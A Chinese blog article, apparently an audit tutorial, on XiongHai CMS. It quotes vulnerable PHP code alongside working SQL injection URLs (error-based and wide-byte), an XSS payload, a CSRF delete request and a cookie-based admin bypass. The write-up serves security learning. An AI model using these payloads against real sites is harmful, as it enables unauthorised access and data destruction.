溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

熊海CMS代碼審計漏洞怎么解決

發(fā)布時間:2023-02-24 11:44:17 來源:億速云 閱讀:119 作者:iii 欄目:開發(fā)技術(shù)

這篇文章主要介紹了熊海CMS代碼審計漏洞怎么解決的相關(guān)知識,內(nèi)容詳細(xì)易懂,操作簡單快捷,具有一定借鑒價值,相信大家閱讀完這篇熊海CMS代碼審計漏洞怎么解決文章都會有所收獲,下面我們一起來看看吧。

    基本結(jié)構(gòu)

    這里我選擇使用小皮面板搭建在了本地,以便于調(diào)試錯誤,首先我們看看系統(tǒng)的結(jié)構(gòu):

    ——admin     //后臺?件
    ——css       //css?件
    ——files    //功能函數(shù)?件
    ——images   //圖?
    ——index.php //主?錄?件
    ——install   //安裝?件
    ——seacmseditor  //編輯器
    ——template      //模板?件
    ——upload    //?件上傳?錄

    SQL注入漏洞

    第一處

    我們跳轉(zhuǎn)到admin/files/editlink.php,分析里面的一段代碼:

    $id=$_GET['id'];
    $type=$_GET['type'];
    if ($type==1){
    $query = "SELECT * FROM nav WHERE id='$id'";
    $resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
    $nav = mysql_fetch_array($resul);
    }

    簡單分析一下,我們通過GET輸入id和type,之后type與1進(jìn)行對比,匹配后會執(zhí)行SQL語句,了解SQL注入漏洞的朋友可能會看出這里有一個單引號閉合漏洞,我們只需在參數(shù)前進(jìn)行構(gòu)造閉合單引號,之后便可以成功執(zhí)行自定義的SQL語句:

    r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

    需要注意的是作為結(jié)果只返回給我們SQL語句正確與否,所以這里考慮使用錯報注入。

    第二處

    admin/files/editlink.php這個路徑下有一段代碼:

    $id=$_GET['id'];
    $query = "SELECT * FROM link WHERE id='$id'";
    $resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
    $link = mysql_fetch_array($resul);

    這里同樣存在一個GET傳參點,我們可以傳入變量名為id的值,之后會執(zhí)行SQL語句查詢ID,若SQL語句有誤,進(jìn)行錯報,因為是單引號閉合這里可以和第一處一樣使用錯報注入。

    id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

    第三處

    /file/download.php這個路徑下的代碼:

    $llink=addslashes($_GET['r']);
    $query = "SELECT * FROM nav WHERE link='$llink'";

    可以看到里面有addslashes函數(shù):

    熊海CMS代碼審計漏洞怎么解決

    這個函數(shù)會將預(yù)定義字符轉(zhuǎn)換加上反斜杠,所以我們無法進(jìn)行正常的單引號閉合,需要想辦法繞過,方法也很多,這里就簡單用寬字節(jié)注入繞過

    r=%df%27or%20if(1,sleep(3),1)%20%23

    XSS漏洞

    第一處

    在/file/contact.php出存在漏洞代碼:

    $page=addslashes($_GET['page']); 
    <?php echo $page?>

    可以看到直接echo出了page變量,而該變量是我們直接可以GET傳入的,這里我們直接使用彈窗payload:

    <img src=1 onerror=alert(/xss/)>

    第二處

    在/files/content.php出,存在與第一處差不多的代碼:

    $page=addslashes($_GET['page']);
    if ($page<>""){
    if ($page<>1){
    $pages="第".$page."頁 - ";
    }

    我們也可以向上面一樣將語句傳進(jìn)變量里去。

    熊海CMS代碼審計漏洞怎么解決

    CSRF漏洞

    第一處

    這里以/admin/files/wzlist.php為例:

    $delete=$_GET['delete'];
    if ($delete<>""){
    $query = "DELETE FROM content WHERE id='$delete'";
    $result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
    echo "<script>alert('親,ID為".$delete."的內(nèi)容已經(jīng)成功刪除!');location.href='?r=wzlist'</script>";
    exit;

    可以看到代碼執(zhí)行刪除SQL語句時并沒有對代碼進(jìn)行檢測,刪除操作對應(yīng)下面的界面:

    熊海CMS代碼審計漏洞怎么解決

    我們先嘗試刪除然后進(jìn)行抓包,抓到了刪除時GET進(jìn)行的傳參:

    ?r=wzlist&delete=18

    之后換另一個瀏覽器訪問整個payload,結(jié)合該系統(tǒng)中的一個越權(quán)操作,將user改成admin,之后訪問,成功實現(xiàn)了跳過驗證進(jìn)行了刪除操作。

    熊海CMS代碼審計漏洞怎么解決

    當(dāng)然這只是其中的一個點,softlist.php也存在類似的CSRF漏洞。

    垂直越權(quán)

    第一處

    在/inc/checklogin.php中,這里只看存在漏洞的代碼:

    $user=$_COOKIE['user'];
    if ($user==""){
    header("Location: ?r=login");
    exit;

    這里直接給user的cookie值設(shè)置成admin,即可跳轉(zhuǎn)管理員界面。

    關(guān)于“熊海CMS代碼審計漏洞怎么解決”這篇文章的內(nèi)容就介紹到這里,感謝各位的閱讀!相信大家對“熊海CMS代碼審計漏洞怎么解決”知識都有一定的了解,大家如果還想學(xué)習(xí)更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道。

    向AI問一下細(xì)節(jié)

    免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

    cms
    AI